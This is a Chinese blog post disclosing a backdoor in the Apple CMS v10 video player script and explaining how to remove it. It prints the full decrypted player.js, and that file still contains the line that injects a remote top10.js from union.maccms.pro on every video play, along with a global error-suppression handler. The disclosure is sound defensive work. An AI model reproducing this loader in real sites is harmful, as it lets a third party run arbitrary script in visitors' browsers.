苹果cms v10版本,播放视频会经过player.js(路径为:\static\js)加载一个名为top10.js的js

if (MacPlayer.Status) { 
    // 如果 MacPlayer.Status 为 true,不执行任何操作
} else {
    // 如果 MacPlayer.Status 为 false,修改 ID 为 "install" 的元素的 src 属性
    $("#install").attr('src', '//union.maccms.la/html/' + MacPlayer.PlayFrom + '.html');
}

 

意思是判断视频加载情况,如果加载成功不执行,如果加载没有成功执行”union.maccms.la/html”+参数 可怕的是这个js可以被修改,执行任意内容。 我们打开player.js文件 删除这行 是加密的,我们解密直接修改: 苹果cms后门

划线部分直接删除。保存访问饰品播放页面,没有加载top10.js。成功! 直接附上解密后的player.js文件代码,是完整版的,没有杀出top10.js

// ========== 1. 错误抑制 ==========
// 屏蔽所有JS错误,防止影响用户体验
var killErrors = function(value) { return true };
window.onerror = null;
window.onerror = killErrors;

// ========== 2. Base64 编解码 ==========
var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var base64DecodeChars = new Array(
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,
    -1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,
    52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,
    10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,
    28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,
    -1,-1,-1,-1,-1
);

// Base64 编码
function base64encode(str) {
    var out, i, len;
    var c1, c2, c3;
    len = str.length;
    i = 0;
    out = "";
    while (i < len) {
        c1 = str.charCodeAt(i++) & 0xff;
        if (i == len) {
            out += base64EncodeChars.charAt(c1 >> 2);
            out += base64EncodeChars.charAt((c1 & 0x3) << 4);
            out += "==";
            break;
        }
        c2 = str.charCodeAt(i++);
        if (i == len) {
            out += base64EncodeChars.charAt(c1 >> 2);
            out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4));
            out += base64EncodeChars.charAt((c2 & 0xF) << 2);
            out += "=";
            break;
        }
        c3 = str.charCodeAt(i++);
        out += base64EncodeChars.charAt(c1 >> 2);
        out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4));
        out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6));
        out += base64EncodeChars.charAt(c3 & 0x3F);
    }
    return out;
}

// Base64 解码
function base64decode(str) {
    var c1, c2, c3, c4;
    var i, len, out;
    len = str.length;
    i = 0;
    out = "";
    while (i < len) {
        do { c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff]; } while (i < len && c1 == -1);
        if (c1 == -1) break;
        do { c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff]; } while (i < len && c2 == -1);
        if (c2 == -1) break;
        out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));
        do {
            c3 = str.charCodeAt(i++) & 0xff;
            if (c3 == 61) return out;
            c3 = base64DecodeChars[c3];
        } while (i < len && c3 == -1);
        if (c3 == -1) break;
        out += String.fromCharCode(((c2 & 0x0F) << 4) | ((c3 & 0x3C) >> 2));
        do {
            c4 = str.charCodeAt(i++) & 0xff;
            if (c4 == 61) return out;
            c4 = base64DecodeChars[c4];
        } while (i < len && c4 == -1);
        if (c4 == -1) break;
        out += String.fromCharCode(((c3 & 0x03) << 6) | c4);
    }
    return out;
}

// ========== 3. UTF-8 与 UTF-16 转换 ==========
// UTF-16 转 UTF-8
function utf16to8(str) {
    var out, i, len, c;
    out = "";
    len = str.length;
    for (i = 0; i < len; i++) {
        c = str.charCodeAt(i);
        if ((c >= 0x0001) && (c <= 0x007F)) {
            out += str.charAt(i);
        } else if (c > 0x07FF) {
            out += String.fromCharCode(0xE0 | ((c >> 12) & 0x0F));
            out += String.fromCharCode(0x80 | ((c >> 6) & 0x3F));
            out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F));
        } else {
            out += String.fromCharCode(0xC0 | ((c >> 6) & 0x1F));
            out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F));
        }
    }
    return out;
}

// UTF-8 转 UTF-16
function utf8to16(str) {
    var out, i, len, c;
    var char2, char3;
    out = "";
    len = str.length;
    i = 0;
    while (i < len) {
        c = str.charCodeAt(i++);
        switch (c >> 4) {
            case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7:
                out += str.charAt(i - 1);
                break;
            case 12: case 13:
                char2 = str.charCodeAt(i++);
                out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));
                break;
            case 14:
                char2 = str.charCodeAt(i++);
                char3 = str.charCodeAt(i++);
                out += String.fromCharCode(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0));
                break;
        }
    }
    return out;
}

// ========== 4. 播放器核心逻辑 ==========
var MacPlayer = {
    // 格式化日期(如 yyyy-MM-dd)
    GetDate: function(f, t) {
        if (!t) t = new Date();
        var a = ['日', '一', '二', '三', '四', '五', '六'];
        f = f.replace(/yyyy|YYYY/, t.getFullYear());
        f = f.replace(/yy|YY/, (t.getYear() % 100) > 9 ? (t.getYear() % 100).toString() : '0' + (t.getYear() % 100));
        f = f.replace(/MM/, t.getMonth() > 9 ? t.getMonth().toString() : '0' + t.getMonth());
        f = f.replace(/M/g, t.getMonth());
        f = f.replace(/w|W/g, a[t.getDay()]);
        f = f.replace(/dd|DD/, t.getDate() > 9 ? t.getDate().toString() : '0' + t.getDate());
        f = f.replace(/d|D/g, t.getDate());
        f = f.replace(/hh|HH/, t.getHours() > 9 ? t.getHours().toString() : '0' + t.getHours());
        f = f.replace(/h|H/g, t.getHours());
        f = f.replace(/mm/, t.getMinutes() > 9 ? t.getMinutes().toString() : '0' + t.getMinutes());
        f = f.replace(/m/g, t.getMinutes());
        f = f.replace(/ss|SS/, t.getSeconds() > 9 ? t.getSeconds().toString() : '0' + t.getSeconds());
        f = f.replace(/s|S/g, t.getSeconds());
        return f;
    },

    // 生成播放 URL(替换 {sid} 和 {nid})
    GetUrl: function(s, n) {
        return this.Link.replace('{sid}', s).replace('{sid}', s).replace('{nid}', n).replace('{nid}', n);
    },

    // 跳转到播放页
    Go: function(s, n) {
        location.href = this.GetUrl(s, n);
    },

    // 显示播放器,加载广告
    Show: function() {
        $('#buffer').attr('src', this.Prestrain);
        setTimeout(function() { MacPlayer.AdsEnd(); }, this.Second * 1000);
        $("#playleft").get(0).innerHTML = this.Html + '';
        
        // 动态加载广告JS
        var a = document.createElement('script');
        a.type = 'text/javascript';
        a.async = true;
        a.charset = 'utf-8';
        a.src = '//union.maccms.pro/html/top10.js?r=' + this.GetDate('yyyyMMdd'); 
        var b = document.getElementsByTagName('script')[0];
        b.parentNode.insertBefore(a, b);
    },

    // 广告控制
    AdsStart: function() {
        if ($("#buffer").attr('src') != this.Buffer) {
            $("#buffer").attr('src', this.Buffer);
        }
        $("#buffer").show();
    },
    AdsEnd: function() {
        $('#buffer').hide();
    },

    // 显示安装提示(可能用于检测 Flash/H5 播放器)
    Install: function() {
        this.Status = false;
        $('#install').show();
    },

    // 渲染播放器 HTML
    Play: function() {
        document.write(`
            <style>
                .MacPlayer {
                    background: #000000;
                    font-size: 14px;
                    color: #F6F6F6;
                    margin: 0px;
                    padding: 0px;
                    position: relative;
                    overflow: hidden;
                    width: ${this.Width};
                    height: ${this.Height};
                    min-height: 100px;
                }
                .MacPlayer table { width: 100%; height: 100%; }
                .MacPlayer #playleft { position: inherit !important; width: 100%; height: 100%; }
            </style>
            <div class="MacPlayer">
                <iframe id="buffer" src="" frameBorder="0" scrolling="no" width="100%" height="100%" style="position:absolute;z-index:99998;"></iframe>
                <iframe id="install" src="" frameBorder="0" scrolling="no" width="100%" height="100%" style="position:absolute;z-index:99998;display:none;"></iframe>
                <table border="0" cellpadding="0" cellspacing="0">
                    <tr>
                        <td id="playleft" valign="top" style="">&nbsp;</td>
                    </tr>
                </table>
            </div>
        `);
        
        this.offsetHeight = $('.MacPlayer').get(0).offsetHeight;
        this.offsetWidth = $('.MacPlayer').get(0).offsetWidth;
        
        // 加载播放器JS
        document.write(`<script src="${this.Path}${this.PlayFrom}.js"></script>`);
    },

    // 下载逻辑(空实现)
    Down: function() {},

    // 初始化播放器
    Init: function() {
        this.Status = true;
        this.Parse = '';
        
        // 获取播放数据(player_data 或 player_aaaa)
        var a;
        if (typeof player_data != "undefined") {
            a = player_data;
        } else {
            a = player_aaaa;
        }

        // 解密播放URL
        if (a.encrypt == '1') {
            a.url = unescape(a.url);
            a.url_next = unescape(a.url_next);
        } else if (a.encrypt == '2') {
            a.url = unescape(base64decode(a.url));
            a.url_next = unescape(base64decode(a.url_next));
        }

        // 设备检测(PC or 移动端)
        this.Agent = navigator.userAgent.toLowerCase();
        this.Width = MacPlayerConfig.width;
        this.Height = MacPlayerConfig.height;
        if (this.Agent.indexOf("android") > 0 || this.Agent.indexOf("mobile") > 0 || this.Agent.indexOf("ipod") > 0 || this.Agent.indexOf("ios") > 0 || this.Agent.indexOf("iphone") > 0 || this.Agent.indexOf("ipad") > 0) {
            this.Width = MacPlayerConfig.widthmob;
            this.Height = MacPlayerConfig.heightmob;
        }
        if (this.Width.indexOf("px") == -1 && this.Width.indexOf("%") == -1) {
            this.Width = '100%';
        }
        if (this.Height.indexOf("px") == -1 && this.Height.indexOf("%") == -1) {
            this.Height = '100%';
        }

        // 加载广告配置
        this.Prestrain = MacPlayerConfig.prestrain;
        this.Buffer = MacPlayerConfig.buffer;
        this.Second = MacPlayerConfig.second;

        // 设置播放数据
        this.Flag = a.flag;
        this.Trysee = a.trysee;
        this.Points = a.points;
        this.Link = decodeURIComponent(a.link);
        this.PlayFrom = a.from;
        this.PlayNote = a.note;
        this.PlayServer = a.server == 'no' ? '' : a.server;
        this.PlayUrl = a.url;
        this.PlayUrlNext = a.url_next;
        this.PlayLinkNext = a.link_next;
        this.PlayLinkPre = a.link_pre;
        this.Id = a.id;
        this.Sid = a.sid;
        this.Nid = a.nid;

        // 解析播放源
        if (MacPlayerConfig.server_list[this.PlayServer] != undefined) {
            this.PlayServer = MacPlayerConfig.server_list[this.PlayServer].des;
        }
        if (MacPlayerConfig.player_list[this.PlayFrom] != undefined) {
            if (MacPlayerConfig.player_list[this.PlayFrom].ps == "1") {
                this.Parse = MacPlayerConfig.player_list[this.PlayFrom].parse == '' ? MacPlayerConfig.parse : MacPlayerConfig.player_list[this.PlayFrom].parse;
                this.PlayFrom = 'parse';
            }
        }

        // 设置播放器路径
        this.Path = maccms.path + '/static/player/';

        // 根据 Flag 执行不同操作
        if (this.Flag == "down") {
            MacPlayer.Down();
        } else {
            MacPlayer.Play();
        }
    }
};

// ========== 5. 初始化播放器 ==========
MacPlayer.Init();

 

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。